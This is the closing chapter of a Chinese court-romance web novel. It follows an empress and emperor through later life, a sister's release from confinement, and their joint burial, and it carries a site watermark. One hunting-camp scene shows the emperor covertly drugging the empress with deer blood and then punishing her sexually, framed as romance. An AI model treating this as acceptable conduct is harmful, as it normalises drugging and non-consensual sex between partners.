在这长安宫城之内的日月,是柔软静谧的,媜珠一日一日地度过,恍然只觉自己似是活在一个完美无缺的天上仙境里。
龙章十年时,皇帝的陵寝狩陵终于被修好,这座规模宏大的陵墓修建了足足十年,终于彻底修完了。
周奉疆带媜珠去亲眼看过这座他们万年之后将要合葬长眠的陵寝,他和媜珠十指相扣,轻声道:
“这是我们千年万年永世栖居之所,这里只会有你和我,不像从前的那些帝陵一样,还会有其他陪葬的妃妾、其他随葬的皇子公主。这里干干净净、清清静静,不论是地宫还是陵寝之内,只有你和我。只有我们两人可以待在这里。”
太子戎将来的帝陵将修建于狩陵一侧,紧挨着狩陵,汉国公主将来亦是单独起陵,仪同皇后,会葬于帝后身旁。
转瞬间,就连琅琊公主也熬过了她的十年圈禁岁月,终于再度重获自由之身。
龙章十二年夏初,周婈珠牵着女儿宜瑶的手,和段充一起离开了这间琅琊公主府。
她已经失去了公主的身份,在外人眼里,琅琊公主亦早已病逝,不复存世。
按照当年的约定,三十五岁这一年,她将带着她的丈夫和女儿回到北地冀州,以寻常布衣百姓的身份度完余生。
临走前,她还是悄悄入宫了一趟,见了自己嫡母赵太后和妹妹最后一面。
踏足承圣殿内之时,三十五岁的她神色已经十分沉静,想来十年的圈禁生涯的确改变了她太多太多,似是将她整个人都脱胎换骨了一遍。
她带着女儿宜瑶俯首叩拜太后皇后,这一次她口口声称自己有罪时,说话的语气已经格外真心了,
“贱妾犯下弥天大错,厚颜承蒙太后皇后开恩,允妾贱命残存至今时,妾不胜感激,无以为报。”
赵太后儿孙绕膝,一切心满意足,也懒得再和她计较,只是摆了摆手:
“回冀州去好好过日子去,莫再生事了。”
媜珠平静地看着她:“姐姐永远还是我的姐姐,我们姐妹骨肉血浓于水,我还是愿姐姐余生顺遂,此去经年,想必后会无期。”
“也愿来生我们若是还做姐妹,能真心彼此和睦,永世交好,再无怨怼龃龉。”
周婈珠默然退下。
有只猫儿忽然钻到她怀里来,她定睛一看,大为错愕,几乎是不敢相信自己的眼睛:“这是灿娘?”
媜珠微笑:“这是历经了两朝的猫儿了,也十几岁了,熬走了它的旧主建德皇帝,唯独它还好端端地存于世上,真是难得。”
周婈珠叹惋:“物是人非,江山如故!”
出宫时,她与正要入宫的颍国公主周芩姬擦肩而过,双双无话,未见寒暄,眉目却也无爱恨。
十年了,太久远了,一切的爱与恨都淡了。
周氏姐妹之间的一出大戏,最后居然就是这样静静落了幕。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
【终章】
第114章
后来她再回首自己的这一世时,也会发觉自己的人生铺陈开来,原来就是一片艳到极致的奢华之色,是明月流光,瑶台银阙,镂金铺翠。
像是在梦中沉浮了一生,一切都完美得近乎有些不大真切。
不过么,日子过得太好了,人又难免会时常生出几分患得患失的心思来,偶尔也会发呆出神,杞人忧天似的忧心起自己的美满人生到底能不能永远如此长久下去。
后来媜珠最常忧心牵挂的,便是周奉疆。
她倒不是怕他移情别恋、弃旧恋新,也不是怕他会腻了她、厌弃她,而是单纯地怕他死,怕他死在自己前头。
这都怪她母亲赵太后,数年前媜珠和周奉疆感情不合时,为了安慰自己的女儿,赵太后便常常在她跟前念叨,说武人的命多半都不长,她父亲周鼎就是个短命鬼,虽然周奉疆不是他的亲儿子,但是想必和先帝周鼎都一样,到了四五十岁就差不多旧伤陈疾缠身,眼看着收拾收拾就能投胎去了。
等周奉疆真到了四十岁的不惑之年后,媜珠心里七上八下的,一想起这茬就睡不安稳,满腹心事,偏偏她又不能直接开口告诉他说:
——夫君,你是不是短命鬼呀?媜媜好怕你死的早,好怕你没两年就死了,媜媜好担心你。
是啊,他要是说死就死了,她该怎么办呢?
她的儿子会当皇帝,虽则年幼,但还有她这个做太后的母亲扶持着,不妨碍他能坐稳这个皇位,她的母亲会当太皇太后,她的女儿也是贵极天下的长公主。
可是再不会有人这样捧着她、哄着她、纵容她的一切脾气了。
只要没了他,她再敢任性再敢发脾气,在母亲眼里她是个不长大不懂事的逆女,在儿孙眼中她是个不温柔不慈爱难缠长辈,在下人眼里她是仗着好命便胡作非为的主子,她就是孤零零地一个人,孤魂野鬼一般游荡在这世上。
她的一切缺点,只有在他眼里才是可爱的,值得怜爱的。
她舍不得他跟她父亲周鼎一样早早就死了。
媜珠年岁渐长,到了三十来岁上,丰腴美艳,心性也比从前稳重了许多,也愈发会关心枕边人了。
王医丞年老请求回乡安养,媜珠亲自出面挽留,多留他在宫里待了数年,将王医丞和从前给皇帝做过军医、贴身侍候的医者们全都叫了回来,一一问起昔年天子在外征战时身上受过的伤,问起当年那些伤口是怎样处理的,严不严重,有没有留下什么积年的旧伤和浸在骨肉里的内伤。
——她以前失忆做冀州节度使夫人那段时日里,也拿这样的话问过周奉疆,大抵是意思意思客套客套地表达一番自己对丈夫的关心之情,但他也素性刚强,不肯对妻子示弱,更不会拿自己的病痛伤口到她跟前去博同情,所以周奉疆并不怎么理会她,只叫她不必多管,说他已无事,伤口也都愈合了。
媜珠年轻时哪里懂这些夫妻之间相互爱护的道理,她是被人宠惯了的,反正他说自己没事,她就不再多问了。
现在再回望这些,也不知她的“回心转意”可是来得太迟了?
王医丞捋着花白的胡须微笑:“十数年前的事了,娘娘终是想起来过问,若是再晚上几年,到了臣等头晕眼花之年,只怕就算娘娘再问,臣等也记不清楚了。”
媜珠也回以一笑。
后来她照顾自己的丈夫照顾得很用心,这一年入秋时下了一场连绵两三日的大雨,寒意丝丝入骨一般往人的血肉中钻去,冷得人浑身发寒打颤。
夜里两人在榻上欢好,他都四十岁了,媜珠不想陪他纵欲太多,想叫他好歹多爱惜身体,便推拒了两回。
而他偏偏又是个软硬不吃的性子,但凡媜珠拒绝了,他就越发欲罢不能,直折腾到夜已过半。
媜珠早晨起身时隐约听到他咳嗽了几声,心下便极是难受,颇不是滋味。
她亲自给他做了川贝秋梨汤,让人端去宣室殿里给他。
午后宝鸾蹦蹦跳跳地跑来要和她一起午睡,咂巴咂巴唇瓣,依恋地抱着媜珠说:
“阿娘,你今天煮的秋梨水真甜呀,好好喝,能不能再煮一点给我喝,我好喜欢好喜欢阿娘。”
媜珠一愣:“我煮的秋梨水?那不是送给你爹爹喝的吗?你爹爹咳嗽了……”
宝鸾咯咯笑:“爹爹说他不喜欢吃甜的,他全给我吃啦,阿娘你来摸摸,我的肚子都撑撑的。”
沉默片刻,她俯身亲了亲女儿的脸颊:“阿娘教过你的,吃过甜食甜水要用茯苓牙粉好好把牙齿洗一洗,你有没有好好洁牙?”
宝鸾努力张开柔嫩的唇瓣,露着两排小小的洁白牙齿给媜珠看:
“我有!我有!阿娘教我的我都记住了!”
是,孩子都是听话的,儿子懂事,女儿乖巧,只有那个老畜生听不懂人话。
她在秋梨汤里加了上好的川贝,那是润喉止咳的良物,她不信他不懂她的心意,结果呢,他居然一口都不喝,全往女儿嘴里灌,把宝鸾给撑了一肚子的秋梨汤。
媜珠心中憋了火气,既然他不识抬举,她也不惯着他,只命太医署的人熬了一碗极苦的止咳汤来,还加了他不喜欢吃又苦得不行的陈年莲子心进去,专门奔着折磨他去的。
晚膳时她冷眼盯着他,逼他把这碗药服下,皇帝的神色果然有几分隐忍的难看,但还是忍住了,并没有失态。
他瞧出她不高兴,又上前哄她,问她何故如此不快?
媜珠咬了咬唇:“我是听你咳嗽了,心中挂念,才给你煮了川贝梨汤,你为什么一口都不喝?”
皇帝失笑,还是不以为意的姿态:“你就为了这个,憋了一天的气?”
媜珠一把推开他,眼中泛泪,积攒了许久的忧虑与不安一并爆发了出来:
“我是牵挂你的身体!可你就总是这样无所谓!你知不知道我有多……多担心你!”
皇帝微愣:“担心我的身体?”
媜珠别过头去:“我怕你早早死了!就跟我爹爹那时候一样,说中风就中风,一下子便无可挽回。你身上那么多伤,你自己一一数清过吗?你敢跟我保证你就没有什么什么陈年的旧伤旧病?你要是有了什么事,我……”
言尽于此,她不肯再多说什么了。
周奉疆默然许久,一言不发。
后来他给媜珠擦了擦眼尾的泪痕,轻轻牵起媜珠的手,“我会好好地活下去的,一定要和媜媜白头偕老,不敢让媜媜为我当了孀居的寡妇,那我的罪孽几世也不能还清了。”
媜珠说:“那你保证以后要好好养身保重自己,我让你做什么、吃什么,你都要听我的话。”
他满口应下。
媜珠抹了抹泪痕:“你以后还是多节制些吧,年岁上来了,我都不再年轻了,你也不是血气方刚的少年儿郎了,那些事情,真的就那么放不下吗?为什么不为自己以后多想想呢?”
皇帝怕惹她生气,没出声和她唱反调,却幽幽地瞥了她一眼。
转瞬数日,天子于陈阳陵围场秋狝,自然带上了他心爱的皇后与太子、公主,连久居深宫不大肯出来的皇太后也跟着出来透透气了。
一日狩猎毕,有人宰杀了一头猎来的雄鹿烹食之。
他命人把炙好的梅花鹿肉端来,一片片喂给媜珠,须臾媜珠便觉得口渴,一只酒杯抵在她唇边,她下意识地张口吞下那酒水,入口后才觉得颇带着一点腥气,不是她惯常喜欢的味道。
她问他那是什么东西,他亦不答。
媜珠后知后觉地反应过来:“你给我喝了鹿血?”
说这话时,她身上已泛起阵阵热意,浑身发软,顷刻便扑倒在了他膝头,仰首望着他,满面艳色。
她被人打横抱起,送到营帐内的床榻上,他俯身亲吻她的脸颊,却并无更进一步的动作,反而是饶有兴致地看着她难耐地喘息、扭动身体,胡乱地除去身上的衣物,看着她伸出双臂攀附住他的肩头。
他亲了亲媜珠的唇:“你是喜欢和我做这些事的,不是吗?娘娘正当盛年,早早说那些节制克制的话做什么?不是平白委屈了您?”
他想起昔年她也曾在陈阳陵围场逃跑过,思及往事,又不免下了重手多惩罚了她几番,媜珠浑浑噩噩的,恐怕并未发现。
那一夜的滋味自然是难以言喻的癫狂,让媜珠毕生难以忘怀。
到了媜珠四十岁这一年时,她的儿子太子戎已经十五六岁了,已是能监国理政的年纪,早已搬离了父母身边,汉国公主亦十岁了,是个长开了的美人儿,容颜颇肖似生母。
皇帝在这一年带着太后、皇后与太子公主回冀州老家祭祀先祖。
他带媜珠回到了当年的冀州侯府。
一别近二十载,这座威风凛凛的冀州侯府辉煌一如往昔,作为天子龙兴之地,连砖瓦上都没有多落了一丝灰尘。
唯独侯府里的许多树木却不复当年模样,郁郁葱茏,挺拔伟岸,不再是媜珠记忆里的幼嫩树苗了。
周奉疆和媜珠也回到当年赵太后住过的院子、他们长大的那间院落。
他指着一间屋门说:“四十年前你就在此出生,那是我们的初见。未想世事流转,岁月流逝当真如此之快。”
媜珠也叹息:“是一切如故。只盼望我和哥哥还有下一个四十年,我这一生就如愿了。”
他答应下来:“会有的。我们千年万年都不会分离。”
媜珠对他展颜一笑,眉目如初。
下一个四十年来到时,她已是皇太后,她的母亲也已离世,她的丈夫在几十年前就提前传位给了太子戎,自居太上之位。
在她八十岁这年,她的丈夫驾崩了。
永泰皇帝要为自己的君父治丧,媜珠召来自己的儿子,她的眼睛已经昏花,视物困难,她握着儿子的手,费劲全身力气在他耳边吐出一句话:
“等等吧,不用麻烦了,我也活不长的,你等着把我和他一起葬了,还不用多折腾一回。”
月余,精疲力竭的永泰皇帝牵着唯一的血亲妹妹汉国长公主的手,在挥退一众奴仆宫人亲卫后,只他们兄妹两人步入狩陵的地宫之中,送别父母的棺椁。
皇帝望着自己的妹妹,抚过父母合葬的冰冷的漆棺,寥寥叹了数声:
“还记得当初母亲在椒房殿里生下你时,一切是多好的光景,彼时连祖母都还在世,我们一家人团团圆圆,齐齐整整。这样的时日,再也不会回来了。”
那时候祖母慈祥,父母恩爱,父为天子,母为中宫,自己也是东宫储君,太平盛世,家国晏然,彼时他只是个懵懂无知的幼子,安心地享受父母长辈的庇佑,满心欢喜地看着刚出生的小妹妹。
——可那已是近五十年前的事情了。
现在呢,连他都生出了许多白发了。
汉国长公主安慰兄长:“生前团圆,死后我们一家人也是美满的。”
正文完。
2025年9月24日12:34:35,江苏。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m